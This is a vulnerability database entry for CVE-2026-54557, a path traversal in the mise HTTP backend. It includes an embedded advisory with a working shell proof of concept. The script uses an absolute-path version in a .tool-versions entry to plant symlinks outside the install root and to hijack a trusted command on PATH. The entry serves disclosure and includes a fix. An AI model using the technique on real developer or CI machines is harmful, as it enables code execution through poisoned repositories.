CVE-2026-54557: Mise Mise HTTP Backend Uses Raw Vulnerability
MODERATECVE-2026-54557 is a MODERATE (CVSS 5.5) mise http backend uses raw vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Mise libraries in the crates.io ecosystem. The issue involves mise http backend uses raw version path for install symlink destination. Remediation is available by upgrading affected packages to version 2026.6.1.
CVE-2026-54557 at a Glance
Security Impact
CVSS: 5.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-54557
To remediate this vulnerability, upgrade all affected Mise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade mise to 2026.6.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for mise
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54557, inspect your project dependencies for Mise:
inspect dependencies for mise
Analyze the terminal output to locate any version of Mise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.6.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Mise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54557 Affected Mise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mise
|
crates.io |
< 2026.6.1
|
2026.6.1
|
References
Frequently Asked Questions
What is CVE-2026-54557?
Which Mise versions are affected?
What version fixes CVE-2026-54557?
Is mise affected?
What is the CVSS score of CVE-2026-54557?
What CWE is associated with CVE-2026-54557?
How can I check crates.io dependencies for CVE-2026-54557?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f94h-j2qg-fxw3",
"modified" : "2026-07-21T15:04:34Z",
"published" : "2026-06-23T18:13:53Z",
"aliases" : [ "CVE-2026-54557" ],
"summary" : "mise HTTP backend uses raw version path for install symlink destination",
"details" : "## Summary\n\nThe mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, `PathBuf::join` discards the intended mise installs root.\n\nA repository-controlled `.tool-versions` file can therefore make `mise install` create a symlink outside the mise install tree. With `bin_path`, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to `PATH`.\n\nThe reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local `PATH` prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted `PATH` command.\n\n## Affected Code\n\nIn `src/backend/http.rs`, `create_install_symlink()` derives the destination path from raw `tv.version`:\n\n```rust\nlet version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n &cache_key[..7.min(cache_key.len())]\n} else {\n &tv.version\n};\n\nlet install_path = tv.ba().installs_path.join(version_name);\n```\n\n`ToolVersion::tv_pathname()` already sanitizes `:` and `/` for filesystem version directory names, but this HTTP backend path does not use it.\n\n## Impact\n\nProven:\n\n- Outside-root symlink creation from a repository-controlled `.tool-versions` entry.\n- Executable symlink materialization under an attacker-selected absolute prefix when `bin_path` is configured.\n- The executable symlink can be run if that prefix's `bin` directory is on `PATH`.\n- Replacement of a preexisting command in a trusted `PATH` prefix in a local workflow-chain model, followed by execution of the replaced command by name.\n\nNot claimed:\n\n- `mise install` does not automatically execute the placed binary in the reproducer.\n- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.\n- Credential theft is not claimed.\n\n## Why This Crosses A Boundary\n\n`.tool-versions` is an asdf-compatible project file and is parsed without the `mise.toml` trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.\n\nThe HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:\n\n```text\n$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...\n```\n\nThe observed behavior instead allows the project version string to choose an absolute install destination.\n\n## Reproduction\n\nThe script below performs three local checks:\n\n1. It creates a `.tool-versions` entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.\n2. It creates a second HTTP backend entry with `bin_path=bin` and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's `bin` directory is on `PATH`.\n3. It creates a preexisting trusted command in a user-local `PATH` prefix, runs `mise install` from a project `.tool-versions` file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.\n\nThe script uses a loopback HTTP server and temporary directories only.\n\n```sh\n#!/bin/sh\nset -eu\n\nif ! command -v mise >/dev/null 2>&1; then\n echo \"mise must be on PATH\" >&2\n exit 1\nfi\n\nif ! command -v python3 >/dev/null 2>&1; then\n echo \"python3 must be on PATH for the loopback HTTP server\" >&2\n exit 1\nfi\n\nROOT=\"$(mktemp -d)\"\nOUT=\"$ROOT/out\"\nDATA=\"$ROOT/data\"\nCACHE=\"$ROOT/cache\"\nSTATE=\"$ROOT/state\"\nCONFIG=\"$ROOT/config\"\nWWW=\"$ROOT/www\"\n\ncleanup() {\n if [ -n \"${SERVER_PID:-}\" ]; then\n kill \"$SERVER_PID\" 2>/dev/null || true\n fi\n rm -rf \"$ROOT\"\n}\ntrap cleanup EXIT\n\nmkdir -p \"$OUT\" \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\" \"$WWW\"\n\ncat > \"$WWW/payload\" <<'PAYLOAD'\n#!/bin/sh\nif [ -n \"${CHAIN_MARKER:-}\" ]; then\n echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > \"$CHAIN_MARKER\"\nelse\n echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > \"$MISE_HTTP_ABSOLUTE_VERSION_MARKER\"\nfi\nPAYLOAD\nchmod +x \"$WWW/payload\"\n\n(\n cd \"$WWW\"\n python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1\n) &\nSERVER_PID=$!\nsleep 1\n\nPROJECT1=\"$ROOT/project-host-write\"\nmkdir -p \"$PROJECT1\"\ncat > \"$PROJECT1/.tool-versions\" <<EOF1\nhttp:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link\nEOF1\n\n(\n cd \"$PROJECT1\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/owned-link\" ]; then\n echo \"FAIL: outside symlink was not created\" >&2\n exit 1\nfi\n\nPROJECT2=\"$ROOT/project-bin-path\"\nmkdir -p \"$PROJECT2\"\ncat > \"$PROJECT2/.tool-versions\" <<EOF2\nhttp:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix\nEOF2\n\nrm -rf \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\nmkdir -p \"$DATA\" \"$CACHE\" \"$STATE\" \"$CONFIG\"\n\n(\n cd \"$PROJECT2\"\n MISE_DATA_DIR=\"$DATA\" \\\n MISE_CACHE_DIR=\"$CACHE\" \\\n MISE_STATE_DIR=\"$STATE\" \\\n MISE_CONFIG_DIR=\"$CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n)\n\nif [ ! -L \"$OUT/selected-prefix/bin/ownedcmd\" ]; then\n echo \"FAIL: executable symlink was not created under selected prefix\" >&2\n exit 1\nfi\n\nMARKER=\"$OUT/executed-marker\"\nMISE_HTTP_ABSOLUTE_VERSION_MARKER=\"$MARKER\" \\\nPATH=\"$OUT/selected-prefix/bin:$PATH\" \\\nownedcmd\n\nif ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED \"$MARKER\"; then\n echo \"FAIL: executable symlink did not run\" >&2\n exit 1\nfi\n\necho \"VULNERABLE_BEHAVIOR_CONFIRMED\"\necho \"outside symlink: $OUT/owned-link -> $(readlink \"$OUT/owned-link\")\"\necho \"path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink \"$OUT/selected-prefix/bin/ownedcmd\")\"\n\nrun_path_chain_case() {\n case_name=\"$1\"\n version=\"$2\"\n expected=\"$3\"\n\n CASE_ROOT=\"$ROOT/$case_name\"\n HOME_DIR=\"$CASE_ROOT/home\"\n CASE_DATA=\"$CASE_ROOT/data\"\n CASE_CACHE=\"$CASE_ROOT/cache\"\n CASE_STATE=\"$CASE_ROOT/state\"\n CASE_CONFIG=\"$CASE_ROOT/config\"\n CASE_PROJECT=\"$CASE_ROOT/project\"\n CASE_MARKER=\"$CASE_ROOT/marker\"\n\n if [ \"$version\" = \"__HOME_LOCAL_PREFIX__\" ]; then\n version=\"$HOME_DIR/.local\"\n fi\n\n mkdir -p \"$HOME_DIR/.local/bin\" \"$CASE_DATA\" \"$CASE_CACHE\" \"$CASE_STATE\" \"$CASE_CONFIG\" \"$CASE_PROJECT\"\n cat > \"$HOME_DIR/.local/bin/trustedcmd\" <<'SAFE'\n#!/bin/sh\necho SAFE_PREEXISTING_TRUSTED_COMMAND > \"$CHAIN_MARKER\"\nSAFE\n chmod +x \"$HOME_DIR/.local/bin/trustedcmd\"\n\n cat > \"$CASE_PROJECT/.tool-versions\" <<EOF3\nhttp:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version\nEOF3\n\n (\n cd \"$CASE_PROJECT\"\n HOME=\"$HOME_DIR\" \\\n MISE_DATA_DIR=\"$CASE_DATA\" \\\n MISE_CACHE_DIR=\"$CASE_CACHE\" \\\n MISE_STATE_DIR=\"$CASE_STATE\" \\\n MISE_CONFIG_DIR=\"$CASE_CONFIG\" \\\n MISE_YES=1 \\\n mise install --yes\n )\n\n CHAIN_MARKER=\"$CASE_MARKER\" \\\n PATH=\"$HOME_DIR/.local/bin:$PATH\" \\\n trustedcmd\n\n observed=\"$(cat \"$CASE_MARKER\")\"\n if [ \"$observed\" != \"$expected\" ]; then\n echo \"FAIL: $case_name expected $expected but saw $observed\" >&2\n exit 1\n fi\n\n if [ \"$case_name\" = \"path-chain-vulnerable\" ] && [ ! -L \"$HOME_DIR/.local/bin/trustedcmd\" ]; then\n echo \"FAIL: path-chain case did not replace trustedcmd with a symlink\" >&2\n exit 1\n fi\n}\n\nrun_path_chain_case path-chain-vulnerable \"__HOME_LOCAL_PREFIX__\" ATTACKER_CONTROLLED_TRUSTED_COMMAND\nrun_path_chain_case path-chain-control \"1.0.0\" SAFE_PREEXISTING_TRUSTED_COMMAND\n\necho \"PATH_CHAIN_CONFIRMED\"\n```\n\nExpected vulnerable markers:\n\n```text\nVULNERABLE_BEHAVIOR_CONFIRMED\nPATH_CHAIN_CONFIRMED\n```\n\n## Candidate Fix\n\nUse `tv.tv_pathname()` for non-latest HTTP install symlink names, preserving the current content-addressed behavior for `latest` or empty versions.\n\n```diff\ndiff --git a/src/backend/http.rs b/src/backend/http.rs\nindex 4e4e972..18cf8a1 100644\n--- a/src/backend/http.rs\n+++ b/src/backend/http.rs\n@@ -518,12 +518,12 @@ impl HttpBackend {\n\n // Determine version name for install path\n let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n- &cache_key[..7.min(cache_key.len())] // Content-based versioning\n+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning\n } else {\n- &tv.version\n+ tv.tv_pathname()\n };\n\n- let install_path = tv.ba().installs_path.join(version_name);\n+ let install_path = tv.ba().installs_path.join(&version_name);\n\n // Clean up existing install\n if install_path.exists() {\n@@ -839,3 +839,51 @@ impl Backend for HttpBackend {\n }\n }\n }\n+\n+#[cfg(test)]\n+mod tests {\n+ use super::*;\n+ use crate::cli::args::{BackendArg, BackendResolution};\n+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};\n+\n+ fn http_test_tv(version: &str) -> ToolVersion {\n+ let backend = Arc::new(BackendArg::new_raw(\n+ \"http-absolute-version\".to_string(),\n+ Some(\"http:absolute-version\".to_string()),\n+ \"absolute-version\".to_string(),\n+ None,\n+ BackendResolution::new(true),\n+ ));\n+ let request = ToolRequest::Version {\n+ backend,\n+ version: version.to_string(),\n+ options: ToolVersionOptions::default(),\n+ source: ToolSource::Argument,\n+ };\n+ ToolVersion::new(request, version.to_string())\n+ }\n+\n+ #[test]\n+ fn install_symlink_path_uses_sanitized_version_pathname() {\n+ let tv = http_test_tv(\"/outside-root/mise-http-version-out/selected-prefix\");\n+\n+ assert_eq!(\n+ tv.tv_pathname(),\n+ \"-outside-root-mise-http-version-out-selected-prefix\"\n+ );\n+ assert!(!Path::new(&tv.tv_pathname()).is_absolute());\n+ }\n+\n+ #[test]\n+ fn latest_install_symlink_still_uses_content_version() {\n+ let tv = http_test_tv(\"latest\");\n+ let cache_key = \"abcdef123456\";\n+ let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n+ cache_key[..7.min(cache_key.len())].to_string()\n+ } else {\n+ tv.tv_pathname()\n+ };\n+\n+ assert_eq!(version_name, \"abcdef1\");\n+ }\n+}\n```\n\nReporter: JUNYI LIU",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "mise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2026.6.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2026.5.16"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jdx/mise/security/advisories/GHSA-f94h-j2qg-fxw3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54557"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jdx/mise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-23T18:13:53Z",
"nvd_published_at" : "2026-06-26T18:17:00Z"
}
}